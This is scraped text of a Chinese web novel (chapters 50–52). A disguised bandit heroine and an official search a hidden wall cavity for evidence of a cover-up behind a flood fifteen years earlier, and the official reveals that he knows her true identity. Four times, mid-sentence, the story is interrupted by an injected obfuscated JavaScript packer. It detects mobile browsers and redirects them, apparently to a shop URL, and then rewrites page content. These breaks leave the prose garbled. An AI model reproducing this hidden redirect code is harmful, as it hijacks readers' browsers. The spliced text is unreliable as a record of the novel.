胤姜想,虽然造成渭水决堤的因素有许多,但是朝廷只会处置要犯、重犯,对其他服从人员会施以恩德, 毕竟,水至清则无鱼,贪官污吏哪里轻易杀得完? 如此看来,江依的父亲和丈夫还不是一般的无名小卒,虽然他们只是工匠,但是只怕也是工匠里头的佼佼者,若是当年真有什么蹊跷,他们定然是清楚的, 既然清楚,他们有没有留下什么把柄以求日后自保呢?难道,那东西指的就是证据吗? 此时李复已经被梁玺使唤着从那堵墙开挖,胤姜故作无知,问梁玺,“今夜你约我,就是为了让我看挖墙?我可真是不知道这里面另有乾坤啊。” 梁玺笑笑,眸似星辰般温柔,“待此间事了,我还有事要与你单独说。” 胤姜面带疑惑看着梁玺,凤眸杏腮,人面桃花,连在这阴暗的角落也难掩姝色。 李复蛮力使用得当,不过一会儿便砸倒了半堵墙,一股灰尘铺面而来,胤姜此时才瞧清楚,墙内空虚,看其空余大小,足够容纳下两个成人的样子。 江依的脸色变得煞白,她似疯癫了一般,嘴上不停念叨着“东西呢!东西呢!我明明把东西放这里啊,怎么会没有!” 江依不信邪的钻进满是尘埃的墙缝中,意图寻找到她口中说的东西,然而诸番皆是无果。 江依猛然回头,盯着胤姜桀桀笑,“是你!一定是你!你们贺家人没一个好东西!”说着,便想扑上去撕咬胤姜,如同一只走投无路的困兽。 李复直接将其拦下,江依挣扎不得,只能无助的呜咽,“苍天呐,为何要这样对我!为何让我受奸人蒙蔽,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12774213|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何要我受骗上当!” 江依口中的奸人,自然是胤姜,从她的话语看来,她对贺家抱有极深的成见,或许在此时的江依眼里,她就是贺家派去刻意诱哄欺骗她的。 胤姜好看的眉头扭成个结,这一切在她看来,都透露着那么点古怪?若是梁玺知道这里有他想要的东西,会等到晚上再行动吗?还带了这么些人。 “江娘子,此事与她无关,依照这堵墙的新旧程度来看,只怕是多年以前,埋在这里的东西就已经不见了,只是你不知道而已。” 梁玺出来说了一句公道话,胤姜不敢轻易发言,此行谜团重重,她害怕说多错多,后面不好再圆谎。 江依瞪了梁玺一眼,不复之前的平静,她今夜大喜大悲皆已感受过,如今只觉得眼前这个自诩朝廷钦差的人在逗弄她。 江依怨憎自己无能,无法为父母和丈夫报仇雪恨,也怨憎这些作弄于她的人。 他们这些所谓的聪明人,或许内心现在正在肆无忌惮的嘲笑着她! 江依如是想着,没再继续哭嚎了,擦干眼泪,恢复了以往的死气沉沉。 李复神情中带有忧虑,问梁玺,“东西没了,该怎么办?” 梁玺逼迫江依直视他,他半似逼问道,“这些年除了雪娘子,还曾有谁租过这间客栈?租了多久,你仔细想想,是否有可疑的人,你觉得是刻意接近你的人?” 江依头脑似是空了一瞬,曾经也有一个如胤姜一样的女人,站在她面前,毫不羞涩地袒露她的伤痕,也表现她的坚强。 那个女人,很坚强,却也很柔软,江依想,若是她经历过那个女人曾经经过的一切,只怕早疯了 ——她永远不会成为像那个女人一样的女人。 当时找上门来的胤姜,和那个女人何其相似啊。 江依知道自己软弱可鄙,知道自己是个只懂绣花种草的闺阁女子,知道她自己没什么大志气,可是那个女人以及胤姜,不一样。 她没什么嫉妒的,人各有志,她已经半人半鬼地活了那么久了,帮她们一把又如何? 她也想看看,像她们那样的女人能走到哪一步? 呵,江依扯起嘴角,想表示一下嘲讽,却发现自己笑不出来。 怎么会是她? 她成功了呀,她走出了一条少有女人能走出的路,连江依这个禁锢自己于佛堂的人,都偶尔会听闻她的事情, 江依见她一步步登临高点,见她耀眼胜过日月,见她得偿所愿、不输男儿,江依想,她得感谢她,不,是她一定要感谢她, 没有她江依,就没有她的现在! 是她江依给了她第一个机会,才有她今日的成就。 江依觉得,好似自己灵魂的一部分,也活在她的身上,她活得灿烂热烈,连带着偏居一隅的江依,也多了许多活气。 江依不信,她会害她! 可是,空空如也的墙壁却在嘲笑江依,就是那个女人,背叛了她!!! 江依忽而哈哈大笑起来,“白朦水,你害我!!!” 说完这句话,江依竟是一口鲜血吐出来,登时昏迷不醒。 而在这百里外的白宅,白朦水似有所感,从梦中惊醒,大汗淋漓,她居然梦见了多年前的往事,而那噩梦,本已多年不曾困扰于她。 白朦水只穿身单薄的寝衣便下床,饮了几口凉水,她的神智愈发清醒。 身后一双手给她披上了外衣,男声温润,“夜里风大,小心着凉。” 却是白星竹,她的男宠。 50. 但存一善 白朦水将手按在白星竹搭在她肩上的手之上,“放心吧,我有分寸。” 白星竹身材纤长,眉宇温润,肤白如玉,尤其一双眼,甚是温柔,墨色的长发懒散地铺在衣衫上,他也不过二十岁左右的少年郎。 白朦水瞥一眼镜中自己的模样,收回手,又细细抚摸着自己脸颊上那道横贯的丑陋伤疤。 她习以为常多年,顶着这样一张丑陋面庞,是为时刻提醒她,她遭遇过的背叛,她受到过的伤害,每当她有所心软之时,这道伤疤便再次警醒她,他们对她做了什么。 白星竹看白朦水抚摸伤痕,只当她介怀自己的长相,便闻言安慰道,“我再为姐姐寻更好地大夫,必不让姐姐介怀。” 白朦水知道,白星竹以为她在意她的脸,但是他不知道,其实她并不介意。 世人皆说女为悦己者容,这句话她便不怎么喜欢,好似女子活着只为了男子一般,容颜天定,稍加粉饰就不能为了自己开心吗? 何况,这脸,是她自己划的,也是她自己不想医的,寻再好的大夫来都没用。 患者若不想自己的病好,华佗在世也无药可救。 白朦水嘴角勾起笑,白星竹已然蹲下,那双漆黑闪亮的眸子全神贯注地看着她,看上去乖巧至极,白朦水轻轻抚着他乌黑的发顶,他的头发十分柔软, 他的眼神十分单纯,他的容貌十分合她心意,他十分年轻又十分俊美,这是她送自己的礼物,她将他精心豢养,年少时曾渴求的如意郎君,大底就是这样了。 只是她年少,心高气傲,后来被摧折了傲气,渐渐沉寂,但是她从来不是轻言放弃之人,任何人从她那里拿了什么,就得还相应地报酬回来! 就如眼前的白星竹,她予他衣食无忧,予他荣华富贵,要的就是他对她一心一意,不离不弃,若他敢如他们一般长了野心,她会毫不留情地将予他的美梦粉碎。 所以啊,对她忠诚,便一生无忧。 白朦水手指轻轻擦蹭着白星竹俊秀的面庞,眼色一深,你可莫叫我失望啊。 胤姜将江依扶住,她略知一点医术,稍微喂了江依一点药,对方倒是醒了,但是精神不太好,仿佛某根脊柱被抽走了一般。 梁玺问道,“江娘子,你为何认为是刘夫人?” 江依眼中淬满恶意,多年的幽居生活已经使得她移了性情,若是多年前那个她站在现在的她面前, 只怕她不仅认不出来,还会觉得她的幸福碍了她的眼,非吐一口吐沫表示厌恶才罢休。 “呵呵,那个女人,白朦水!白朦水!”江依嘶哑着嗓子喊白朦水的名字,尤其是喊到白朦水这三个字时,大大加重了语气,似恨不得生吞其骨肉。 “白朦水!那个贱人,当年满城人都瞧不起她,一个进了匪窝的女人,丢尽了白家的脸还敢回来,整个白家都被她拖累得抬不起头, 她居然还想继续做生意!做生意,呵呵呵,是我!!!是我!!! 白家人嫌弃她,巴不得把她捆起来,巴不得她自己上吊自杀,是我啊!我给了她机会,她跑到我面前的时候,白家人正在后面追,是我,救了她!” 江依神色中隐隐有癫狂之色,对她来说,白朦水是她变得苍白黯淡了的人生中唯一的亮色,因为这抹亮色,是她亲自培育、保护出来的。 “那时她多惨啊,头发和衣衫都是凌乱的,脖子上还有红痕,我还有什么看不出来,呵呵,白家人想她死!!! 她死了,再对外宣称她是为全清白,上吊自杀的,深宅大院,我太熟悉这样的把戏了。咳咳咳——” 江依剧烈的咳嗽起来,忽然她看向胤姜,“他们是男人,不明白,我想你是明白的吧? 那时的我也是明白的,为了成全所谓的家族声誉,牺牲一个女人的性命罢了。多正常啊。” 江依咳得脸通红,胤姜又喂了她一点水,江依面色平复起来,嘴上却继续说道,“你莫以为你喂我一点水,我就会喜欢你,你们贺家,没什么好人。 你也别以为你是什么贺家大小姐,就有多了不起,若你真干了什么有辱家风的事,可没人会为你撑腰,你们这些高门大户,肮脏得很。” 江依自恃傲气,她家世代匠人,她又是家中独女,丈夫也是父亲门徒,她的前半生可谓是顺风顺水,她瞧不上那些所谓的大家门第干出来的事, 她年少美貌,及笄之日何尝不是被媒人踏破门槛,为何最后嫁了她父亲的徒弟,不就是因为她从头到尾都拿捏得住他吗? 她不是有大志气的女子,却也是有傲气的女子,她在她的一方天地里,何尝不能有一番作为?她丈夫爱她,却更敬她,她要的也是这样的生活。 她是个小女子,她图谋的就是一个爱她、敬她、将她奉为掌中珠宝的丈夫。 她不需要他有多大的能耐,太大能耐的男子,都过于有自己的主意,都太精于算计,她可不想当为他们的事业发光发热的耗材。 那时的江依细细瞧着白朦水,见她狼狈至极,又将那些高门所谓的锦绣男儿骂了一遭,却果断出手将白朦水救了下来, 白家不想事情闹得太大,于名声上更加有害,所以也就此作罢,那时的白朦水,已经沦为白氏弃子。 白朦水做事伶俐,江依很是喜欢,她不去戳她的肺管子,白朦水也不去管她敬神拜佛,相安无事多日,白朦水提出要做生意, 彼时的江依虽然略微惊讶——讶异于这个女人的顽强,外面的流言蜚语不曾消停,她居然还敢开门做生意? 白朦水笑笑,脸上蜿蜒的伤疤也跟着扭动,未免显得太过狰狞,“那不是正好?我开业那日,定然生意兴隆,进了我的店门,一分钱不给,却是不可能!” 白朦水的发迹就是从这间客栈开始的,再后来,白朦水嫁给了刘玄,名声却不知怎地渐渐好起来了,再后来就被白家接回去了。 “我实在是不明白她在做什么,但是她回了白家,却好似沉寂下来一般,可是我知道,白家重回兖州四大家族之列,跟她脱不了关系。” 江依神情幽幽,她至今也想不出来,白朦水是何时发现了这里?又是何时拿走的东西?原来这背叛,竟然已经存在多年? 她真是愚蠢,江依,你真是愚蠢啊。 胤姜不搭理江依的冷嘲热讽,她甚至觉得江依说的是对的,高门大户,光鲜亮丽,可内里呢,可不就是肮脏吗?! 食民脂民膏,养他食无忧、寝无虞,享高床软卧,其下尸骨累累、血流成河。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12787402|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她并不是什么大家小姐,只是父母双亡、流离失所的庶民中的一个。 胤姜转头看向梁玺,神情郑重,“你们到底要找什么东西?如今东西丢了,你们有什么打算? 若是与我无关,我便回去睡觉了,我没工夫陪你们在这里忆往昔!” 胤姜作势要走,却被梁玺死死纂住手腕,梁玺直直望着胤姜,眼中充满胤姜看不懂的情绪,“与你无关?天下事,息息相关?何为无关? 你当真认为与你无关?那你为何来淮安?为何要查这些事?又为何,要帮我?” 胤姜抽回手,神情冷淡,“我不明白你在说什么?我只是为了生计而已,天下人都是这样过活的,你凭什么认为我不一样?” 他们都活得像行尸走肉,为名利,为钱财,为权势,为生计,奔波游走,她凭什么和他们不一样? 凭三分清高?凭三分傲骨?还是凭三分热血和良心? 胤姜心中冷笑,清高?她曾与狗抢食,也曾窃人财物。 傲骨?她曾为一个馒头街边行乞,磕头而血流不止,也曾在生死之际苦苦哀求,但求活命。 热血和良心?一个满手鲜血、杀戮深重之人怎么会有那种东西? 他们这种人的心,掏出来就该是黑的,冷的,脏的,受人唾弃的,为人所不容的。 胤姜想,她插手此局,就只为洗清土匪劫银的嫌疑而已。 她,或许曾有过一丝幻想,幻想救世救人,但是她终究是坠了地狱的阎罗,成不了佛。 梁玺深深望进胤姜眼中,“一分善念,只一分善念,佛祖割肉喂鹰,阎罗舍身救婴,一分善念即可,人存一善,救一人,存十善,救世人。 我知道你为什么不放徐敬之,我知道你想做什么,我也知道你为什么帮我,可我不知道的是,你的姓名。” 胤姜睁大双眼,头皮发麻,她死死盯着梁玺,见他神情认真,没有丝毫其他,她忽而心间颤颤,为他说的一分善念,也为他说的他什么都知道。 胤姜转而看向梁玺身旁的李复,李复似也惊讶地看着梁玺,对着胤姜时又惶然无措,似也不知为何梁玺会知道。 “你别看他,他没告诉我,虽然他也是朝廷的人。”梁玺沉声开口道。 一个“也”,已然是他在袒露他的官家身份了,胤姜想,是要动手了吗?今夜的重头戏,果真是鸿门宴啊。 胤姜笑笑,还没说话,躺在地上的江依却抢先开了口,“你们这是唱的哪出?东西不见了,你们不着急?反而有心情在这里儿女情长?!” 江依一声叱骂,梁玺似未动摇,他见胤姜似没打算回应他,才回答道,“知道东西在谁那儿就容易了,寻找需要时间,江娘子还是将身体养好才是, 否则,你就不能活着见到仇人人头落地那一刻了。” 江依被呛了一口,但是听到梁玺末了那句话,便不打算再和他计较,毕竟比起见到仇人人头落地,被人怼几句都是小事。 胤姜微微一挑眉,贺家吗? 江依恨的是贺家,难道梁玺他们要找的证据,也是关于贺家的证据? 十五年前渭水决堤,那关贺含章什么事? 他那时才不过是一个小官而已,刚刚踏上仕途没多久吧? 51. 十五年前,渭水决 胤姜目露疑惑,转而看向梁玺,梁玺忽而拉住胤姜的手腕,将她拉到另一角,“回答我刚才的问题,我就解答你的疑惑。” 胤姜捏紧双手,意图从梁玺手中挣扎出来,却反而被他纂得更紧,“你在说什么,我不知道你的意思,我就叫贺怀雪啊,我还能叫什么?你希望我是谁? 我若不是贺怀雪,你认为我是谁?” 胤姜咬紧牙关,却是不松口,虽然梁玺表现得好像知道得很多的样子,但是胤姜并不确定,他是否真的知道,还是纯粹诈她,毕竟李复未必对他交代得彻底,他若知道,何必要她说呢? 胤姜感觉到男子身躯紧绷,忽而他抛下手下的火把,火把坠地,翻翻滚滚到了李复脚下,梁玺一把按住胤姜,将她抵到墙边,他和她挨得很近,胤姜不自在起来。 “你真没有想告诉我的吗?我们的第一面,没有出意外的话,应该是在河州边境,那时你身负重伤,掉落山崖,还点燃了信号烟,将我吸引来了。 第二面,在淮安,你是客栈老板娘,我是投宿的旅客,我们建立了合作关系。 第三次,却也是最让我意想不到的一面,是我掉落山崖,而你居然出现在山顶上,他们举行祭祀,我们一起逃出了那里,那次你告诉我,你是为了寻找假死的丈夫才进山的。 再后来,那假死的丈夫回来了,你也摇身一变成了贺府失踪多年的大小姐,我在席间见你风华万千,此前种种,我虽有疑虑,却被打消,我以为你所图谋的就是回家。 我对你放下戒备,刘玄举办庆功宴,我们相谈甚欢,我隐隐有些心动,你如此迷人又如此危险,我的心已经偏向你了,却才发现,你又骗我。 那时的我才恍然,原来你是那个被通缉后掉下山崖的女土匪。” 胤姜听着梁玺回溯过去,不免有些心惊,原来,那个时候,她就已经暴露了吗? “那夜,我在贺宅遇见你,满室鲜红,你巧言善辩,对我虚与委蛇,我想,这个女子一如既往的狡诈圆滑,但是不知怎么地,我还是有些心疼, 你说的话不尽然是假的,我查过你和田宁的过去,他风流花心,在青楼妓馆有许多相好,这是千真万确的,你幼年失孤,幸运为余家收养, 不曾想,余家父母相继去世后你被余家亲戚逼得无路可走,那时你年少,田宁的出现刚刚好,他救了那时的你,还娶你为妻,虽然不算金玉富足,但是至少也衣食无忧。 我总在想,你冒着那样的危险,都敢上山去寻他,哪怕他负你许多,但是你对他还是讲仁义的,不止对他,你放过徐乔,也想过救钟伯,你到底是个心软的人。 我应该是没看错的,岁月虽然给予了你许多磨难,但到底没把你变成一个心狠手辣的人。 那夜你说喜欢我,我有些欢喜,却也只有一些欢喜,对我来说,娶一个妻子,需要很复杂的思量,我喜欢你,却不敢许诺你太多,我给不起你未来,而你也有你的思量。 那时我们宿在邓氏铜矿外的山坡,我们经历了良多,我找不到不喜欢你的理由,反而我好像更喜欢你了,还对你做了僭越之事,我不知道我们之间该怎么办,我也不知道我该怎么办。 回来后,我再让商白去追查,余瑶是女子,自幼养在深闺,就算外出行医都以帷幕遮面,而余家仆人也飞鸟云散,余家亲戚和余瑶已生仇怨,更被她投入大牢中, 若想问话,只怕会挟私以报,并不准确。从你的身份那里我查不到问题,就只能从死而复生的田宁那里找寻突破。” 胤姜看不清楚梁玺的表情,但是他的话断在此处,胤姜心提到了嗓子眼,难道是苏灼的身份出了问题?苏灼不是说,已经把田宁的故旧都弄走了吗? 梁玺不带情绪的话语声又继续响起,“很蹊跷,田家在淮安的故旧这些年都以各种各样的理由离开了淮安,因此我想找一个田宁的故人都难,这一切就好像是早有准备。 我不死心,派人去三水镇找,没想到有了意外之喜。按照道理来说,三水镇的田宁就该是现在这个人,但是可巧,” 梁玺话到此处,胤姜心知他已有结果,却还怀有疑问,三水镇的田宁,如何证明是假的呢?真的田宁死在了回乡路上,是被土匪所杀,而三水镇又不是田家故乡, 而且还是苏灼为刻意避开田家和余家精心挑选的扎根地,怎么会有问题?哪一环节有问题? 梁玺似想伸出手来抚摸胤姜的脸颊,却在快凑近之际停下,“抓匪很有成效,被抓到的一窝土匪对历年来杀害的人供认不讳,记录的人没注意, 但是有心查探的人注意到了,在多年前,他们曾经截杀过一队富商,那富商姓田,还有一双儿女,年龄和田叶兄妹一般,连年龄差都类似。 我起了疑心,却消不下去,就打点了狱卒,亲去询问,土匪所知不多,我又让商白去查当年的出行记录,城门有关隘,需要查访通行证,我便从田宁离开淮安之时查起。” 话已至此,还有不清楚? 一切都是误打误撞,任他们算遍了身边所有可能的变量,他们也不知道当年截杀田宁一家的土匪会供认不讳,更不曾想,会有人就因为土匪提到截杀田家,就从田宁那边找到了端倪。 果然,这世间事,是算不尽的。 “从离开淮安,到三水镇,无论是时间还是地点,每一处都对得上,最值得探究的,就是田宁在静安县呆了足足一个月,按照以往他们赶路的脚程来算, 田家虽然多是马车出行,却走得并不慢,他们沿路并没有多少拖拉,却偏偏在静安县附近滞留了一个月,下面的乡镇对出入管理得不是很严格,但是从查到的记录来看, 他们其实并不是在静安县呆得最久,是在下面的一个名叫刘乡的地方呆得最久,偏生这么巧,那窝土匪交代的杀人截货地点就在刘乡附近!” 一个巧合是巧合,两个巧合是偶然,三个巧合是精心设计。 胤姜知道,虽然梁玺拿不出实质的证据,但是光凭心证,就已经辩无可辩。 “一个月时间,干什么都够了。田家的仆人都死在那场人祸中,也没有买进新的奴仆,那么随田宁进城的那些人,又是从哪里来的? 冒认了死者的身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12802867|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却只为做一个奴仆吗?但凡人有办法,都不会想留在奴籍,除非,他们本身连奴籍都没有——他们是流窜在外的流匪!” 胤姜赫然闭眼,她此刻说什么都没用了。 她或许可以狡辩,咬死说洛朽今没有证据,但是胤姜忽而有些累了,他已经看得分明,她说再多,也是狡辩,更何况,这就是全部的事实。 那一个月,苏灼变成田宁,田家兄妹被他们接上云雾山,胤姜披了余瑶的壳子,一切伪装到位。 余瑶本来不会有救星,世上也没有一个只为情意便救余瑶于水火中的田宁。 一切都是假的。 只为苏灼和胤姜他们顺理成章的在山下,有个身份打探情报而已。 胤姜后来才明白,苏灼早就打算用田宁的身份来淮安,不然他不会费心力去清理田宁在淮安的故旧。 但是,如今看来一切都是枉然。 胤姜徐徐开口,语气涩然,“那洛公子,若真是如此,你打算如何处置我们?” 没想到等来梁玺久久的沉默,胤姜欲看清梁玺的表情,却感知到身前的人陡然转身,她连一片衣角都不曾挨到。 梁玺已经再次走到李复身边,接过李复手中的火把,却仍然背对着胤姜,胤姜远远听得梁玺开口,“我的疑惑已经得到解答,你方才问正在查的这件事和贺含章有什么关系, 我现在可以告诉你,十五年前,贺含章曾任兖州工部经历,虽不是什么大官,对兖州府的工事却了解得很,当初朝廷派来的那位钦差姓李名镜雪,乃是他的同窗好友, 李镜雪消失在大水中,是贺含章拿出李镜雪最后的遗书,才得以将查案的线索引到李镜雪的岳家祁安侯薛红金身上,最后祁安侯府被查出罪证确凿,满门覆灭。” 胤姜猛然抬起头,快走几步逼近梁玺,“你的意思,是当年那场举证有异?罪魁祸首不仅尚未伏法,还殃及无辜?” 胤姜直直地逼视着梁玺,“是或不是!你回答我!当年引起渭水决堤的罪魁祸首,是不是还尚未伏法认罪!真凶果真另有其人?!” 胤姜赤红着眼,她不曾想,查这个案子,反而查到了十五年前头上,她更不曾想,害得她家破人亡、流离失所的真凶,竟然还另有其人! 苍天啊,若你当真有眼,为何要这样捉弄世人? 良辰美景,不堪托付,锦绣坟堆,却是好归处。 梁玺逃避着胤姜的视线,却也察觉到她情绪有异,但是不难想,若她是草寇,多半就是十五年前的流民,所以他才会特意唤来她,他知道,若是她知此事蹊跷,定然不会轻易善罢甘休。 “李镜雪死的时候,贺含章的长女应该还没出生,我想,贺怀雪这个名字,未尝不是他在悼念亡友,只是那其中,究竟有几分是愧疚,几分是思念,怕是只有他自己清楚了。” 梁玺微眯眼睛,贺含章,他知道的东西太多了,若能攻下他,想必能啃下太后的一块肉! 但是梁玺心底有个微小的疑惑,祁安侯府乃是先帝为当今圣上留下的辅佐之臣,太后的野心,难道那时就已经产生了吗? 52. 马甲掉光了 胤姜嘴角勾起一抹冷笑,虚伪! 李镜雪死亡,贺含章为了悼念他居然还专门用自己的孩子取了一个名字,难怪,贺凝珠和贺丹姝皆从朱字,贺颂和贺礼更是喜庆至极,唯有贺怀雪,名字夹杂在其中,颇有几分伤感之意。 呵,贺含章若真悼念自己的同窗好友,又怎么会害死他的岳家?打着为好友沉冤得雪的旗号,却害死了好友的至亲至爱,这是恨,还是爱啊? 胤姜回头看向江依,“你可曾看过里面的内容?不然你如何对贺家有这么深重的怨念?” 江依面色苍白,“粗粗看过,却记不清楚了,看一次,伤一次,我便将之抛之脑后了,我不知道自己该恨谁,纵然我父亲他们不是全然无辜,可也不至于背负如此的恶名!” “为什么这么多年,贺含章没找过你的麻烦?”胤姜一针见血,若是江依手中的东西很重要,为什么贺含章没有锲而不舍地寻找? 胤姜忽而想到了什么,脸色一变,“白朦水,她会不会早就拿那个东西和贺含章做交易了,所以白家才会东山再起,而白朦水才有了如今地位?” 江依惨白着脸,死劲摇着头,“她不会,她不会,”说着说着江依哭起来,豆大的眼泪不值钱地滴在地上,“若真是这样,该怎么办?” 胤姜神色冷凝,白朦水,又是这个女人,之前她曾和梁玺沟通过,白朦水如今是白家和刘家实际的当家人,也是贺含章的左膀右臂,二人之间的瓜葛,或许从当年贺含章帮助白朦水逃出匪窝就开始了。 是啊,当年,白朦水出匪窝,涂苍,贺含章,都是她的盟友,江依啊,你,算什么? 他们三人的联盟早有蛛丝马迹,那邓家呢?邓波又是因为什么原因成了贺含章的团伙,邓波又为什么死,死后又为何是如今的邓绥来接班?邓绥做了什么取得了贺含章的信任? 胤姜早知其中扑朔迷离,她本只想浅尝辄止,洗脱土匪劫银的罪名便罢休,不曾想啊,还是逃不了,这其中关窍,她必得弄个水落石出,以告慰那些飘荡在河水上的万千亡灵!!! 胤姜已经猜出当年的来龙去脉,白朦水本就是在江依面前演戏,贺含章留江依一命,并非是他仁慈,而是他需要采取怀柔手段来获取他想要的东西。 白朦水无疑是很好的人选,江依是个善良的闺阁女子,虽然遭遇了丧亲之痛性情有些偏移,但是面对一个向她求助的弱女子,还是起了怜悯之心, 而那怜悯之心,却最终害她失去了至亲留下的最重要的东西。 贺含章当然不用杀江依,因为他想要的已经得到了,放江依一命,或许还可以彰显他的仁慈,当然,见她如此痛苦的生活着,未尝不会有一种喜悦之情。 他在告诉世人,这就是和他做对的下场!死,声名尽丧,活,肝肠寸断。 好毒的心思! 胤姜凝视着梁玺,从发现这壁后的东西消失之后,他就该明白这一切是贺含章的局,但是为什么,他这么镇定?他还知道什么? 胤姜并非第一天意识到,梁玺手中有一套发达的信息获取渠道,不仅如此,他对别国的知识也十分了解,他到底是做什么的? 他应该并非一般的官门子弟,至少是有真才实干的,胤姜想,越接触越发觉得,对方和自己并非一个世界的人,她无意摘星,也不想踮起脚尖去够那远在天边的人,她如今只想要个真相。 胤姜扬起一个微笑的弧度,“洛公子,东西在白朦水手中不是最糟糕的,若她拿去送给了贺含章,那我们才是没地方说理了。不知洛公子有何高见?” 梁玺面上并无急躁之色,一双亮如星辰的眼眸此时瞧着胤姜,“我还不知该如何称呼你,不过此事,我心中倒有些想法,也需要姑娘的帮助。” 胤姜微笑一滞,“既如此,不妨我就开门见山吧,你唤我胤姜即可。不知公子该如何称呼?且容小女子先讨个奖赏,公子是官家人, 若我寨中人此番助你查清当年之事和今日之事,不知公子可否在朝廷面前替我们美言几句,不求嘉赏,但求无过。 我寨中寨民,有老弱妇孺,以家庭为单位,除了没有户籍,流浪在山上,与你平日所见的百姓没有任何区别,我只得这一所求,但请公子给个准话。” 胤姜见梁玺之前并无处置她之意,又对她提及十五年旧事,心中隐隐猜测,他莫不是在给她立功的机会,若是功过相抵,至少可保庆安寨无虞? 但是胤姜又不敢将这样的心思摆在心底,她害怕她自作多情,仗着他的一点喜欢便多加利用,到时候得不偿失就不好了。 她不能拿整个寨子的存亡犯险,虽然她知道,或许如苏灼所说,父亲已经勒令寨子进入战备状态了,但是不到最后一步,没有和朝廷兵戎相见的必要,能把损伤降到最低,胤姜已经心满意足。 胤姜姿态放得很低,纤长的脖颈显出优美的弧度,梁玺借着火光瞧见女子莹白如玉的肌肤,他脑中闪过许多以往的相处片段,他想,他到底是舍不得她死的。 只要功劳够大,他未必不能在朝中那群豺狼虎豹中,为她及她的寨子夺回人命来。 胤姜,胤姜,梁玺心中默念着这几个字,原来她叫这个名字啊。 姜,佳人也。 梁玺深望了胤姜一眼,“胤姑娘所求我自会满足,但就如我方才说的那样,前提是有功。” 梁玺顿了一下,又略有些艰涩地说道,“我名梁玺。” 胤姜怔愣之际,梁玺已经翩然转身离开密道,李复犹豫片刻,对胤姜说道,“他是朝廷的人,俺也是朝廷的人,俺不能背离俺的信仰,但是俺发誓,俺绝对没有向他泄露你的身份。” 李复说完这句话,当即匆匆跟上梁玺的脚步。 胤姜却犹如当头棒喝,不为李复,此前的对话她已经确认李复不曾出卖过她,但是梁玺方才说,他姓梁?梁? 大梁国姓,他莫非竟还是皇亲贵族?是当今圣上的亲戚? 为避讳大梁朝国号,除皇亲贵族以及皇帝亲封的功勋氏族外,其余百姓皆改姓为连。 胤姜出神之际,被江依一拍肩膀,她眼中似含有浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12818116|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓的情绪,胤姜一时分不清楚是什么,“我之前以为你是贺家人,才对你这样,你别怪我哈? 还有,我真想知道,你一个姑娘家,是怎么在匪寨里生活的哦?你们寨子里,怎么还会有老弱妇孺啊,一般的土匪寨子,不都全是男人吗?他们是不是真的要抢良家妇女上山啊? 你,难道还是压寨夫人?” 江依虽然知道她不该问,但是她实在是控制不住她的好奇心,在她前三四十年的人生里,从来没有听闻过这样的人生,而眼前这人,以一种她从来不知的生活方式生活着,真是太好奇了! 胤姜一时被江依说的话无语到,也不想再去思考梁玺的来历了,他们之间,犯不着思考那些。 胤姜提脚跟上前面两人的步伐,江依在胤姜跟前不依不饶,势要打破砂锅问到底。 待出了密道,江依的声音显得尤其突兀,胤姜突然按住江依的嘴,眼神示意闭嘴。 梁玺和李复站在门口,却并未动,胤姜走到二人身旁,才看见眼前站了几排穿着整齐盔甲的士兵,为首一人却十分熟悉,正是那夜钟伯被杀现场的施邛。 胤姜挑眉,看上去是友非敌啊——若是敌人,他们早打起来了,哪里还等得到她们两人来? 果不其然,施邛看到梁玺几人齐了,冲梁玺一点头,身后一名卫兵便拿上来几套铠甲,施邛说道,“贺家二公子死了,贺大人正在全城缉拿凶手, 既然在这里偶遇贤弟,为防止出什么查漏,还是穿上以备不时之需的好。 回到家中,务必不要再出门了,多事之秋啊。” 胤姜吐槽,她怎么这么不相信这二人是偶遇呢?不过,贺礼之死,莫非也在他们预料之中? 胤姜想到徐乔近日的精神面貌,不免有些担忧,但是贺礼已经疯了,徐乔又对贺家怀着仇恨,不应该再杀了贺礼,打草惊蛇啊。 